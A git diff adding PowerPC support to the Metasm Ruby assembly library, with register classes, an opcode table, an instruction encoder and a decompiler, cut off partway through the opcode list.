b/lib/metasm/metasm/cpu/ppc/decompile.rb @@ -0,0 +1,251 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/cpu/ppc/main' + +module Metasm +class PowerPC + # temporarily setup dasm.address_binding so that backtracking + # stack-related offsets resolve in :frameptr (relative to func start) + def decompile_makestackvars(dasm, funcstart, blocks) + oldfuncbd = dasm.address_binding[funcstart] + dasm.address_binding[funcstart] = { :sp => :frameptr } # this would suffice, the rest here is just optimisation + + blocks.each { |block| + yield block + } + + dasm.address_binding[funcstart] = oldfuncbd if oldfuncbd + end + + # list variable dependency for each block, remove useless writes + # returns { blockaddr => [list of vars that are needed by a following block] } + def decompile_func_finddeps(dcmp, blocks, func) + deps_r = {} ; deps_w = {} ; deps_to = {} + deps_subfunc = {} # things read/written by subfuncs + + # find read/writes by each block + blocks.each { |b, to| + deps_r[b] = [] ; deps_w[b] = [] ; deps_to[b] = to + deps_subfunc[b] = [] + + blk = dcmp.dasm.decoded[b].block + blk.list.each { |di| + a = di.backtrace_binding.values + w = [] + di.backtrace_binding.keys.each { |k| + case k + when ::Symbol; w |= [k] + else a |= Expression[k].externals # if dword [eax] <- 42, eax is read + end + } + #a << :eax if di.opcode.name == 'ret' # standard ABI + + deps_r[b] |= a.map { |ee| Expression[ee].externals.grep(::Symbol) }.flatten - [:unknown] - deps_w[b] + deps_w[b] |= w.map { |ee| Expression[ee].externals.grep(::Symbol) }.flatten - [:unknown] + } + stackoff = nil + blk.each_to_normal { |t| + t = dcmp.backtrace_target(t, blk.list.last.address) + next if not t = dcmp.c_parser.toplevel.symbol[t] + t.type = C::Function.new(C::BaseType.new(:int)) if not t.type.kind_of? C::Function # XXX this may seem a bit extreme, and yes, it is. + stackoff ||= Expression[dcmp.dasm.backtrace(:sp, blk.list.last.address, :snapshot_addr => blocks.first[0]).first, :-, :sp].reduce + } + if stackoff # last block instr == subfunction call + deps_r[b] |= deps_subfunc[b] - deps_w[b] + #deps_w[b] |= [:eax, :ecx, :edx] # standard ABI + end + } + + + + # find regs read and never written (must have been set by caller and are part of the func ABI) + uninitialized = lambda { |b, r, done| + from = deps_to.keys.find_all { |f| deps_to[f].include? b } - done + from.empty? or from.find { |f| + !deps_w[f].include?(r) and uninitialized[f, r, done + [b]] + } + } + + # remove writes from a block if no following block read the value + dw = {} + deps_w.each { |b, deps| + dw[b] = deps.reject { |dep| + ret = true + done = [] + todo = deps_to[b].dup + while a = todo.pop + next if done.include? a + done << a + if not deps_r[a] or deps_r[a].include? dep + ret = false + break + elsif not deps_w[a].include? dep + todo.concat deps_to[a] + end + end + ret + } + } + + dw + end + + def decompile_blocks(dcmp, myblocks, deps, func, nextaddr = nil) + scope = func.initializer + func.type.args.each { |a| scope.symbol[a.name] = a } + stmts = scope.statements + func_entry = myblocks.first[0] + until myblocks.empty? + b, to = myblocks.shift + if l = dcmp.dasm.get_label_at(b) + stmts << C::Label.new(l) + end + + # list of assignments [[dest reg, expr assigned]] + ops = [] + # reg binding (reg => value, values.externals = regs at block start) + binding = {} + # Expr => CExpr + ce = lambda { |*e| dcmp.decompile_cexpr(Expression[Expression[*e].reduce], scope) } + # Expr => Expr.bind(binding) => CExpr + ceb = lambda { |*e| ce[Expression[*e].bind(binding)] } + + # dumps a CExprs that implements an assignment to a reg (uses ops[], patches op => [reg, nil]) + commit = lambda { + deps[b].map { |k| + [k, ops.rindex(ops.reverse.find { |r, v| r == k })] + }.sort_by { |k, i| i.to_i }.each { |k, i| + next if not i or not binding[k] + e = k + final = [] + ops[0..i].reverse_each { |r, v| + final << r if not v + e = Expression[e].bind(r => v).reduce if not final.include? r + } + ops[i][1] = nil + binding.delete k + stmts << ce[k, :'=', e] if k != e + } + } + + # go ! + dcmp.dasm.decoded[b].block.list.each_with_index { |di, didx| + a = di.instruction.args + if di.opcode.props[:setip] and not di.opcode.props[:stopexec] + # conditional jump + commit[] + n = dcmp.backtrace_target(get_xrefs_x(dcmp.dasm, di).first, di.address) + #cc = ceb[decode_cc_to_expr(di.opcode.name[1..-1])] + cc = ceb[:condjmp] + stmts << C::If.new(C::CExpression[cc], C::Goto.new(n)) + to.delete dcmp.dasm.normalize(n) + next + end + + case di.opcode.name + when 'blr' + commit[] + stmts << C::Return.new(nil) + when 'bl' # :saveip + n = dcmp.backtrace_target(get_xrefs_x(dcmp.dasm, di).first, di.address) + args = [] + if t = dcmp.c_parser.toplevel.symbol[n] and t.type.args + stackoff = Expression[dcmp.dasm.backtrace(:sp, di.address, :snapshot_addr => func_entry), :-, :sp].bind(:sp => :frameptr).reduce rescue nil + args_todo = t.type.args.dup + args = [] + args_todo.each { + if stackoff.kind_of? Integer + var = Indirection[[:frameptr, :+, stackoff], @size/8] + stackoff += @size/8 + else + var = 0 + end + args << ceb[var] + binding.delete var + } + end + commit[] + #next if not di.block.to_subfuncret + + if n.kind_of? ::String + if not f = dcmp.c_parser.toplevel.symbol[n] + # internal functions are predeclared, so this one is extern + f = dcmp.c_parser.toplevel.symbol[n] = C::Variable.new + f.name = n + f.type = C::Function.new(C::BaseType.new(:int)) + dcmp.c_parser.toplevel.statements << C::Declaration.new(f) + end + commit[] + else + # indirect funcall + fptr = ceb[n] + binding.delete n + commit[] + proto = C::Function.new(C::BaseType.new(:int)) + f = C::CExpression[[fptr], proto] + end + binding.delete :eax + e = C::CExpression[f, :funcall, args] + e = C::CExpression[ce[:eax], :'=', e, f.type.type] if deps[b].include? :eax and f.type.type != C::BaseType.new(:void) + stmts << e + when 'b' + a = di.instruction.args.first + if a.kind_of? Expression + else + # indirect jmp, convert to return (*fptr)(); + n = di.instruction.args.first.symbolic + fptr = ceb[n] + binding.delete n + commit[] + proto = C::Function.new(C::BaseType.new(:void)) + ret = C::Return.new(C::CExpression[[[fptr], C::Pointer.new(proto)], :funcall, []]) + class << ret ; attr_accessor :from_instr end + ret.from_instr = di + stmts << ret + to = [] + end + else + bd = get_fwdemu_binding(di) + if di.backtrace_binding[:incomplete_binding] + commit[] + stmts << C::Asm.new(di.instruction.to_s, nil, nil, nil, nil, nil) + else + bd.each { |k, v| + if k.kind_of? ::Symbol + ops << [k, v] + else # memory + stmts << ceb[k, :'=', v] + binding.delete k + end + } + update = {} + bd.each { |k, v| + next if not k.kind_of? ::Symbol + update[k] = Expression[Expression[v].bind(binding).reduce] + } + binding.update update + end + end + } + commit[] + + case to.length + when 0 + if not myblocks.empty? and not %w[ret jmp].include? dcmp.dasm.decoded[b].block.list.last.instruction.opname + puts " block #{Expression[b]} has no to and don't end in ret" + end + when 1 + if (myblocks.empty? ? nextaddr != to[0] : myblocks.first.first != to[0]) + stmts << C::Goto.new(dcmp.dasm.auto_label_at(to[0], 'unknown_goto')) + end + else + puts " block #{Expression[b]} with multiple to" + end + end + end +end +end diff --git a/lib/metasm/metasm/cpu/ppc/encode.rb b/lib/metasm/metasm/cpu/ppc/encode.rb new file mode 100644 index 0000000000..aa2c9a69c4 --- /dev/null +++ b/lib/metasm/metasm/cpu/ppc/encode.rb @@ -0,0 +1,51 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/cpu/ppc/opcodes' +require 'metasm/encode' + +module Metasm +class PowerPC + private + def encode_instr_op(exe, instr, op) + base = op.bin + set_field = lambda { |f, v| + base |= (v & @fields_mask[f]) << @fields_shift[f] + } + + val, mask, shift = 0, 0, 0 + +# TODO + # convert label name for jmp/call/loop to relative offset + if op.props[:setip] and op.name[0] != ?t and instr.args.last.kind_of? Expression + postlabel = exe.new_label('jmp_offset') + instr = instr.dup + instr.args[-1] = Expression[[instr.args[-1], :-, postlabel], :>>, 2] + postdata = EncodedData.new '', :export => {postlabel => 0} + else + postdata = '' + end + + op.args.zip(instr.args).each { |sym, arg| + case sym + when :rs, :rt, :rd, :ba, :bf, :bfa, :bt + set_field[sym, arg.i] + when :ft + set_field[sym, arg.i] + when :rs_i16 + set_field[:rs, arg.base.i] + val, mask, shift = arg.offset, @fields_mask[:i16], @fields_shift[:i16] + when :sa, :i16, :i20 + val, mask, shift = arg, @fields_mask[sym], @fields_shift[sym] + when :i26 + val, mask, shift = Expression[arg, :>>, 2], @fields_mask[sym], @fields_shift[sym] + end + } + + Expression[base, :+, [[val, :&, mask], :<<, shift]].encode(:u32, @endianness) << postdata + end +end +end diff --git a/lib/metasm/metasm/cpu/ppc/main.rb b/lib/metasm/metasm/cpu/ppc/main.rb new file mode 100644 index 0000000000..b66385557a --- /dev/null +++ b/lib/metasm/metasm/cpu/ppc/main.rb @@ -0,0 +1,134 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/main' +require 'metasm/render' + +module Metasm +class PowerPC < CPU + class Reg + include Renderable + class << self + attr_accessor :s_to_i, :i_to_s + end + + def ==(o) + o.class == self.class and (not respond_to?(:i) or o.i == i) + end + + def render ; [self.class.i_to_s[@i]] ; end + end + + # general purpose reg + class GPR < Reg + attr_accessor :i + def initialize(i) + @i = i + end + + @s_to_i = (0..31).inject({}) { |h, i| h.update((i == 1 ? 'sp' : "r#{i}") => i) } + @i_to_s = @s_to_i.invert + Sym = @s_to_i.sort.transpose.last + def symbolic ; Sym[@i] end + end + + # special purpose reg + class SPR < Reg + @s_to_i = {'xer' => 1, 'lr' => 8, 'ctr' => 9, 'dec' => 22, 'srr0' => 26, 'srr1' => 27, + 'sprg0' => 272, 'sprg1' => 273, 'sprg2' => 274, 'sprg3' => 275, 'pvr' => 287} + @i_to_s = @s_to_i.invert + + attr_accessor :i + def initialize(i) + @i = i + end + + Sym = @i_to_s.sort.inject({}) { |h, (k, v)| h.update k => v.to_sym } + def symbolic ; Sym[@i] end + def render ; [self.class.i_to_s[@i] || "spr#@i"] end + end + + # floating point + class FPR < Reg + attr_accessor :i + def initialize(i) + @i = i + end + + @s_to_i = (0..31).inject({}) { |h, i| h.update "fp#{i}" => i } + @i_to_s = @s_to_i.invert + Sym = @s_to_i.sort.transpose.last + end + + # machine state reg + class MSR < Reg + def symbolic ; :msr end + def render ; ['msr'] end + end + + # condition reg (7 regs * 4 bits : lt, gt, eq, of) + class CR < Reg + attr_accessor :i + def initialize(i) + @i = i + end + + @s_to_i = (0..31).inject({}) { |h, i| h.update "cr#{i}" => i } + @i_to_s = @s_to_i.invert + Sym = @s_to_i.sort.transpose.last + def symbolic ; "cr#@i".to_sym end + end + + # indirection : reg+reg or reg+16b_off + # r0 may mean 0 in some cases (stwx) + class Memref + attr_accessor :base, :offset + def initialize(base, offset) + @base, @offset = base, offset + end + + def symbolic(orig) + b = @base.symbolic + b = nil if b == :r0 # XXX is it true ? + o = @offset + o = o.symbolic if o.kind_of?(Reg) + Indirection[Expression[b, :+, o].reduce, 4, orig] + end + + include Renderable + def render + if @offset.kind_of?(Reg) + ['(', @base, ' + ', @offset, ')'] + else + [@offset, '(', @base, ')'] + end + end + end + + def initialize + super() + @endianness = :big + @size = 32 + end + + def init_opcode_list + init + end + + def render_instruction(i) + r = [i.opname] + if not i.args.empty? + r << ' ' + i.args.each { |a| + r << a << ', ' + } + r.pop + end + r + end +end +PPC = PowerPC +end diff --git a/lib/metasm/metasm/cpu/ppc/opcodes.rb b/lib/metasm/metasm/cpu/ppc/opcodes.rb new file mode 100644 index 0000000000..1e03e77b9e --- /dev/null +++ b/lib/metasm/metasm/cpu/ppc/opcodes.rb @@ -0,0 +1,416 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/cpu/ppc/main' + +module Metasm +class PowerPC + def addop(name, bin, *argprops) + o = Opcode.new name, bin + argprops.each { |a| + o.args << a if @valid_args[a] + o.fields[a] = [@fields_mask[a], @fields_shift[a]] if @fields_mask[a] + o.props[a] = true if @valid_props[a] + } + @opcode_list << o + end + + # generate l/a variations, add :setip/:saveip, include lr/ctr in opname + def addop_branch(nbase, bin, *argprops) + nbase += 'ctr' if argprops.delete :ctr + nbase += 'lr' if argprops.delete :lr + addop(nbase, bin, :setip, *argprops) + addop(nbase+'l', bin|1, :setip, :saveip, *argprops) + return if nbase[-2, 2] == 'lr' or nbase[-3, 3] == 'ctr' + + addop(nbase+'a', bin|2, :setip, *argprops) + addop(nbase+'la', bin|3, :setip, :saveip, *argprops) + end + + # generate condition variations, passes to addop_branch + def addop_branchcond(nbase, bin, *argprops) + # :bi & 0b11100 is the condition register to use, shift&mask == :bfa. Defaults to cr0 + # bo values + # no cc (10000 != 0) + addop_branch(nbase, bin|(0b10100<<21), :ign_bo_zzz, :stopexec, *argprops) + addop_branch(nbase+'dz', bin|(0b10010<<21), :ign_bo_at2, :stopexec, *argprops) if not argprops.include? :ctr + addop_branch(nbase+'dnz', bin|(0b10000<<21), :ign_bo_at2, :stopexec, *argprops) if not argprops.include? :ctr + + # conditionnal + %w[lt gt eq so].each_with_index { |cd, i| + ncd = {'lt' => 'gte', 'gt' => 'lte', 'eq' => 'ne', 'so' => 'nso'}[cd] + addop_branch(nbase+cd, bin|(0b1100<<21)|(i<<16), :ign_bo_at, *argprops) + addop_branch(nbase+cd, bin|(0b1100<<21)|(i<<16), :ign_bo_at, :bfa, *argprops) + addop_branch(nbase+ncd, bin|(0b100<<21)|(i<<16), :ign_bo_at, *argprops) + addop_branch(nbase+ncd, bin|(0b100<<21)|(i<<16), :ign_bo_at, :bfa, *argprops) + next if argprops.include? :ctr + + addop_branch(nbase+'dz'+cd, bin|(0b1010<<21)|(i<<16), :ign_bo_z, *argprops) + addop_branch(nbase+'dz'+cd, bin|(0b1010<<21)|(i<<16), :ign_bo_z, :bfa, *argprops) + addop_branch(nbase+'dnz'+cd, bin|(0b1000<<21)|(i<<16), :ign_bo_z, *argprops) + addop_branch(nbase+'dnz'+cd, bin|(0b1000<<21)|(i<<16), :ign_bo_z, :bfa, *argprops) + addop_branch(nbase+'dz'+ncd, bin|(0b010<<21)|(i<<16), :ign_bo_z, *argprops) + addop_branch(nbase+'dz'+ncd, bin|(0b010<<21)|(i<<16), :ign_bo_z, :bfa, *argprops) + addop_branch(nbase+'dnz'+ncd, bin|(0b000<<21)|(i<<16), :ign_bo_z, *argprops) + addop_branch(nbase+'dnz'+ncd, bin|(0b000<<21)|(i<<16), :ign_bo_z, :bfa, *argprops) + } + end + + def addop_trap(nbase, bin, *argprops) + addop nbase+'trap', bin|(0b11111<<21), *argprops + addop nbase+'lt', bin|(0b10000<<21), *argprops + addop nbase+'le', bin|(0b10100<<21), *argprops + addop nbase+'eq', bin|(0b00100<<21), *argprops + addop nbase+'ge', bin|(0b01100<<21), *argprops + addop nbase+'gt', bin|(0b01000<<21), *argprops + addop nbase+'ne', bin|(0b11000<<21), *argprops + addop nbase+'llt', bin|(0b00010<<21), *argprops + addop nbase+'lle', bin|(0b00110<<21), *argprops + addop nbase+'lge', bin|(0b00101<<21), *argprops + addop nbase+'lgt', bin|(0b00001<<21), *argprops + end + + + # generate cmp variations (default cr0, w/d) + def addop_cmp(nbase, bin, *argprops) + addop nbase.sub(/(cmpl?)/, '\\1w'), bin, *(argprops-[:bf]) + addop nbase.sub(/(cmpl?)/, '\\1w'), bin, *argprops + addop nbase.sub(/(cmpl?)/, '\\1d'), bin|(1<<@fields_shift[:l]), *(argprops-[:bf]) + addop nbase.sub(/(cmpl?)/, '\\1d'), bin|(1<<@fields_shift[:l]), *argprops + end + + # adds op and 'op.' with last bit of bin set + def addop_(base, bin, *argprops) + addop(base, bin, *argprops) + addop(base+'.', bin|1, *argprops) + end + + # adds op and 'opo' + def addop_o(base, bin, *argprops) + addop(base, bin, *argprops) + addop(base+'o', bin|0x400, *argprops) + end + + def init + @opcode_list = [] + @fields_shift.update :aa => 1, :ba => 16, :bb => 11, :bd => 2, :bf => 23, + :bfa => 18, :bh => 11, :bt => 21, :d => 0, :dq => 4, + :ds => 2, :flm => 17, :fra => 16, :frb => 11, :frc => 6, :frs => 21, + :frt => 21, :fxm => 12, :l => 21, :l_ => 21, :l__ => 16, :lev => 5, + :li => 2, :lk => 0, :mb => 5, :mb_ => 6, :me => 5, :me_ => 1, + :nb => 11, :oe => 10, :ra => 16, :rb => 11, :rc => 0, :rs => 21, + :rt => 21, :sh => 11, :sh_ => 1, :si => 0, :spr => 11, :sr => 16, + :tbr => 11, :th => 21, :to => 21, :u => 12, :ui => 0, + :ign_bo_zzz => 16, :ign_bo_z => 21, :ign_bo_at => 21, :ign_bo_at2 => 16 + + @fields_mask.update :aa => 1, :ba => 31, :bb => 31, :bd => 0x3FFF, :bf => 7, + :bfa => 7, :bh => 3, :bt => 31, :d => 0xFFFF, :dq => 0xFFF, + :ds => 0x3FFF, :flm => 255, :fra => 31, :frb => 31, :frc => 31, :frs => 31, + :frt => 31, :fxm => 255, :l => 1, :l_ => 3, :l__ => 1, :lev => 127, + :li => 0xFFFFFF, :lk => 1, :mb => 63, :mb_ => 31, :me => 63, :me_ => 31, + :nb => 31, :oe => 1, :ra => 31, :rb => 31, :rc => 1, :rs => 31, + :rt => 31, :sh => 31, :sh_ => 1, :si => 0xFFFF, :spr => 0x3FF, :sr => 15, + :tbr => 0x3FF, :th => 15, :to => 31, :u => 15, :ui => 0xFFFF, + :ign_bo_zzz => 0b101111111, :ign_bo_z => 1, :ign_bo_at => 3, :ign_bo_at2 => 0b100111111 + + @valid_args = @fields_mask.dup + [:ign_bo_zzz, :ign_bo_z, :ign_bo_at, :ign_bo_at2, :aa, :lk, :oe, :rc, :l].each { |k| @valid_args.delete k } + + @fields_shift[:ra_i16] = @fields_shift[:ra_i16s] = @fields_shift[:ra_i16q] = 0 + @fields_mask[:ra_i16] = (@fields_mask[:d] << @fields_shift[:d]) | (@fields_mask[:ra] << @fields_shift[:ra]) + @fields_mask[:ra_i16s] = (@fields_mask[:ds] << @fields_shift[:d]) | (@fields_mask[:ra] << @fields_shift[:ra]) + @fields_mask[:ra_i16q] = (@fields_mask[:dq] << @fields_shift[:d]) | (@fields_mask[:ra] << @fields_shift[:ra]) + + + addop_branch 'b', 0x48000000, :li, :stopexec + addop_branchcond 'b', 0x40000000, :bd + addop_branchcond 'b', 0x4C000020, :lr + addop_branchcond 'b', 0x4C000420, :ctr + + addop 'sc', 0x44000002, :lev + addop 'crand', 0x4C000202, :bt, :ba, :bb + addop 'crxor', 0x4C000182, :bt, :ba, :bb + # alias crclr bx -> crxor bx, bx, bx + addop 'cror', 0x4C000382, :bt, :ba, :bb + # alias crmove bx, by -> cror bx, by, by + addop 'crnand', 0x4C0001C2, :bt, :ba, :bb + addop 'crnor', 0x4C000042, :bt, :ba, :bb + # alias crnot bx, by -> crnor bx, by, by + addop 'crandc', 0x4C000102, :bt, :ba, :bb + addop 'creqv', 0x4C000242, :bt, :ba, :bb + # alias crset bx -> creqv bx, bx, bx + addop 'crorc', 0x4C000342, :bt, :ba, :bb + addop 'mcrf', 0x4C000000, :bf, :bfa + addop 'lbz', 0x88000000, :rt, :ra_i16 + addop 'lbzu', 0x8C000000, :rt, :ra_i16 + addop 'lbzx', 0x7C0000AE, :rt, :ra, :rb + addop 'lbzux', 0x7C0000EE, :rt, :ra, :rb + addop 'lhz', 0xA0000000, :rt, :ra_i16 + addop 'lhzu', 0xA4000000, :rt, :ra_i16 + addop 'lhzx', 0x7C00022E, :rt, :ra, :rb + addop 'lhzux', 0x7C00026E, :rt, :ra, :rb + addop 'lha', 0xA8000000, :rt, :ra_i16 + addop 'lhau', 0xAC000000, :rt, :ra_i16 + addop 'lhax', 0x7C0002AE, :rt, :ra, :rb + addop 'lhaux', 0x7C0002EE, :rt, :ra, :rb + addop 'lwz', 0x80000000, :rt, :ra_i16 + addop 'lwzu', 0x84000000, :rt, :ra_i16 + addop 'lwzx', 0x7C00002E, :rt, :ra, :rb + addop 'lwzux', 0x7C00006E, :rt, :ra, :rb + addop 'lwa', 0xE8000002, :rt, :ra_i16s + addop 'lwax', 0x7C0002AA, :rt, :ra, :rb + addop 'lwaux', 0x7C0002EA, :rt, :ra, :rb + addop 'ld', 0xE8000000, :rt, :ra_i16s + addop 'ldu', 0xE8000001, :rt, :ra_i16s + addop 'ldx', 0x7C00002A, :rt, :ra, :rb + addop 'ldux', 0x7C00006A, :rt, :ra, :rb + addop 'stb', 0x98000000, :rs, :ra_i16 + addop 'stbu', 0x9C000000, :rs, :ra_i16 + addop 'stbx', 0x7C0001AE, :rs, :ra, :rb + addop 'stbux', 0x7C0001EE, :rs, :ra, :rb + addop 'sth', 0xB0000000, :rs, :ra_i16 + addop 'sthu', 0xB4000000, :rs, :ra_i16 + addop 'sthx', 0x7C00032E, :rs, :ra, :rb + addop 'sthux', 0x7C00036E, :rs, :ra, :rb + addop 'stw', 0x90000000, :rs, :ra_i16 + addop 'stwu', 0x94000000, :rs, :ra_i16 + addop 'stwx', 0x7C00012E, :rs, :ra, :rb + addop 'stwux', 0x7C00016E, :rs, :ra, :rb + addop 'std', 0xF8000000, :rs, :ra_i16s + addop 'stdu', 0xF8000001, :rs, :ra_i16s + addop 'stdx', 0x7C00012A, :rs, :ra, :rb + addop 'stdux', 0x7C00016A, :rs, :ra, :rb + addop 'lhbrx', 0x7C00062C, :rt, :ra, :rb + addop 'lwbrx', 0x7C00042C, :rt, :ra, :rb + addop 'sthbrx', 0x7C00072C, :rs, :ra, :rb + addop 'stwbrx', 0x7C00052C, :rs, :ra, :rb + addop 'lmw', 0xB8000000, :rt, :ra_i16 + addop 'stmw', 0xBC000000, :rs, :ra_i16 + addop 'lswi', 0x7C0004AA, :rt, :ra, :nb + addop 'lswx', 0x7C00042A, :rt, :ra, :rb + addop 'stswi', 0x7C0005AA, :rs, :ra, :nb + addop 'stswx', 0x7C00052A, :rs, :ra, :rb + addop 'li', 0x38000000, :rt, :si # alias li rx, value -> addi rx, 0, value + addop 'addi', 0x38000000, :rt, :ra, :si + addop 'la', 0x38000000, :rt, :ra_i16 # alias la rx, disp(ry) -> addi rx, ry, disp + addop 'lis', 0x3C000000, :rt, :si # alias lis rx, value -> addis rx, 0, value + addop 'addis', 0x3C000000, :rt, :ra, :si + addop_o 'add', 0x7C000214, :rt, :ra, :rb + addop 'addic', 0x30000000, :rt, :ra, :si + addop_o 'sub', 0x7C000050, :rt, :rb, :ra # alias sub rx, ry, rz -> subf rx, rz, ry + addop_o 'subf', 0x7C000050, :rt, :ra, :rb + addop 'addic.', 0x34000000, :rt, :ra, :si + addop 'subfic', 0x20000000, :rt, :ra, :si + addop_o 'addc', 0x7C000014, :rt, :ra, :rb + addop_o 'subc', 0x7C000010, :rt, :rb, :ra # alias subc rx, ry, rz -> subfc rx, rz, ry + addop_o 'subfc',0x7C000010, :rt, :ra, :rb + addop_o 'adde', 0x7C000114, :rt, :ra, :rb + addop_o 'addme',0x7C0001D4, :rt, :ra + addop_o 'subfe',0x7C000110, :rt, :ra, :rb + addop_o 'subfme',0x7C0001D0,:rt, :ra + addop_o 'addze',0x7C000194, :rt, :ra + addop_o 'subfze',0x7C000190,:rt, :ra + addop_o 'neg', 0x7C0000D0, :rt, :ra + addop 'mulli', 0x1C000000, :rt, :ra, :si + addop_o 'mulld',0x7C0001D2, :rt, :ra, :rb + addop_o 'mullw',0x7C0001D6, :rt, :ra, :rb + addop_ 'mulhd', 0x7C000092, :rt, :ra, :rb + addop_ 'mulhdu',0x7C000012, :rt, :ra, :rb + addop_ 'mulhw', 0x7C000096, :rt, :ra, :rb + addop_ 'mulhwu',0x7C000016, :rt, :ra, :rb + addop_o 'divd', 0x7C0003D2, :rt, :ra, :rb + addop_o 'divw', 0x7C0003D6, :rt, :ra, :rb + addop_o 'divdu',0x7C000392, :rt, :ra, :rb + addop_o 'divwu',0x7C000396, :rt, :ra, :rb + addop_cmp 'cmpi', 0x2C000000, :bf, :ra, :si + addop_cmp 'cmp', 0x7C000000, :bf, :ra, :rb + addop_cmp 'cmpli', 0x28000000, :bf, :ra, :ui + addop_cmp 'cmpl', 0x7C000040, :bf, :ra, :rb + addop 'andi.', 0x70000000, :ra, :rs, :ui + addop 'andis.', 0x74000000, :ra, :rs, :ui + addop 'nop', 0x60000000 + addop 'ori', 0x60000000, :ra, :rs, :ui + addop 'oris', 0x64000000, :ra, :rs, :ui + addop 'xori', 0x68000000, :ra, :rs, :ui + addop 'xoris', 0x6C000000, :ra, :rs, :ui + addop_ 'and', 0x7C000038, :ra, :rs, :rb + addop_ 'xor', 0x7C000278, :ra, :rs, :rb + addop_ 'or', 0x7C000378, :ra, :rs, :rb + # alias mr rx, ry -> or rx, ry, ry + addop_ 'nand', 0x7C0003B8, :ra, :rs, :rb + addop_ 'nor', 0x7C0000F8, :ra, :rs, :rb + # alias not rx, ry -> nor rx, ry, ry + addop_ 'andc', 0x7C000078, :ra, :rs, :rb + addop_ 'eqv', 0x7C000238, :ra, :rs, :rb + addop_ 'orc', 0x7C000338, :ra, :rs, :rb + addop_ 'extsb', 0x7C000774, :ra, :rs + addop_ 'extsw', 0x7C0007B4, :ra, :rs + addop_ 'extsh', 0x7C000734, :ra, :rs + addop_ 'cntlzd',0x7C000074, :ra, :rs + addop_ 'cntlzw',0x7C000034, :ra, :rs + addop 'popcntb',0x7C0000F4, :ra, :rs + addop 'clrldi', 0x78000000, :ra, :rs, :mb # alias clrldi rx, ry, n -> rldicl rx, ry, 0, n + addop_ 'rldicl',0x78000000, :ra, :rs, :sh, :mb, :sh_ + # alias extrdi rx, ry, n, b -> rldicl rx, ry, b+n, 64 - n + # alias srdi rx, ry, n -> rldicl rx, ry, 64 - n, n + addop_ 'rldicr',0x78000004, :ra, :rs, :sh, :me, :sh_ + # alias extldi rx, ry, n, b -> rldicr rx, ry, b, n - 1 + # alias sldi rx, ry, n -> rldicr rx, ry, n, 63 - n + # alias clrrdi rx, ry, n -> rldicr rx, ry, 0, 63 - n + addop_ 'rldic', 0x78000008, :ra, :rs, :sh, :mb, :sh_ + # alias clrlsldi rx, ry, b, n -> rldic rx, ry, n, b - n + addop_ 'rlwinm',0x54000000, :ra, :rs, :sh, :mb_, :me_ + # alias extlwi rx, ry, n, b -> rlwinm rx, ry, b, 0, n - 1 + # alias srwi rx, ry, n -> rlwinm rx, ry, 32 - n, n, 31 + # alias clrrwi rx, ry, n -> rlwinm rx, ry, 0, 0, 31 - n + addop 'rotld', 0x78000010, :ra, :rs, :rb # alias rotld rx, ry, rz -> rldcl rx, ry, rz, 0 + addop_ 'rldcl', 0x78000010, :ra, :rs, :rb, :mb + addop_ 'rldcr', 0x78000012, :ra, :rs, :rb, :me + addop 'rotlw', 0x5C000000|(31<<@fields_shift[:me_]), :ra, :rs, :rb # alias rotlw rx, ry, rz -> rlwnm rx, ry, rz, 0, 31 + addop_ 'rlwnm', 0x5C000000, :ra, :rs, :rb, :mb_, :me_ + addop_ 'rldimi',0x7800000C, :ra, :rs, :sh, :mb, :sh_ + # alias insrdi rx, ry, n, b -> rldimi rx, ry, 64 - (b+n), b + addop_ 'rlwimi',0x50000000, :ra, :rs, :sh, :mb_, :me_ + # alias inslwi rx, ry, n, b -> rlwimi rx, ry, 32-b, b, b+n - 1 + addop_ 'sld', 0x7C000036, :ra, :rs, :rb + addop_ 'slw', 0x7C000030, :ra, :rs, :rb + addop_ 'srd', 0x7C000436, :ra, :rs, :rb + addop_ 'srw', 0x7C000430, :ra, :rs, :rb + addop_ 'sradi', 0x7C000674, :ra, :rs, :sh, :sh_ + addop_ 'srawi', 0x7C000670, :ra, :rs, :sh + addop_ 'srad', 0x7C000634, :ra, :rs, :rb + addop_ 'sraw', 0x7C000630, :ra, :rs, :rb + #addop 'mtspr', 0x7C0003A6, :spr, :rs + addop 'mtxer', 0x7C0003A6|(1<<16), :rs + addop 'mtlr', 0x7C0003A6|(8<<16), :rs + addop 'mtctr', 0x7C0003A6|(9<<16), :rs + #addop 'mfspr', 0x7C0002A6, :rt, :spr + addop 'mfxer', 0x7C0002A6|(1<<16), :rt + addop 'mflr', 0x7C0002A6|(8<<16), :rt + addop 'mfctr', 0x7C0002A6|(9<<16), :rt + addop 'mtcrf', 0x7C000120, :fxm, :rs + # alias mtcr rx -> mtcrf 0xff, rx + addop 'mfcr', 0x7C000026, :rt + addop 'lfs', 0xC0000000, :frt, :ra_i16 + addop 'lfsu', 0xC4000000, :frt, :ra_i16 + addop 'lfsx', 0x7C00042E, :frt, :ra, :rb + addop 'lfsux', 0x7C00046E, :frt, :ra, :rb + addop 'lfd', 0xC8000000, :frt, :ra_i16 + addop 'lfdu', 0xCC000000, :frt, :ra_i16 + addop 'lfdx', 0x7C0004AE, :frt, :ra, :rb + addop 'lfdux', 0x7C0004EE, :frt, :ra, :rb + addop 'stfs', 0xD0000000, :frs, :ra_i16 + addop 'stfsu', 0xD4000000, :frs, :ra_i16 + addop 'stfsx', 0x7C00052E, :frs, :ra, :rb + addop 'stfsux', 0x7C00056E, :frs, :ra, :rb + addop 'stfd', 0xD8000000, :frs, :ra_i16 + addop 'stfdu', 0xDC000000, :frs, :ra_i16 + addop 'stfdx', 0x7C0005AE, :frs, :ra, :rb + addop 'stfdux', 0x7C0005EE, :frs, :ra, :rb + addop 'stfiwx', 0x7C0007AE, :frs, :ra, :rb + addop_ 'fmr', 0xFC000090, :frt, :frb + addop_ 'fabs', 0xFC000210, :frt, :frb + addop_ 'fneg', 0xFC000050, :frt, :frb + addop_ 'fnabs', 0xFC000110, :frt, :frb + addop_ 'fadd', 0xFC00002A, :frt, :fra, :frb + addop_ 'fadds', 0xEC00002A, :frt, 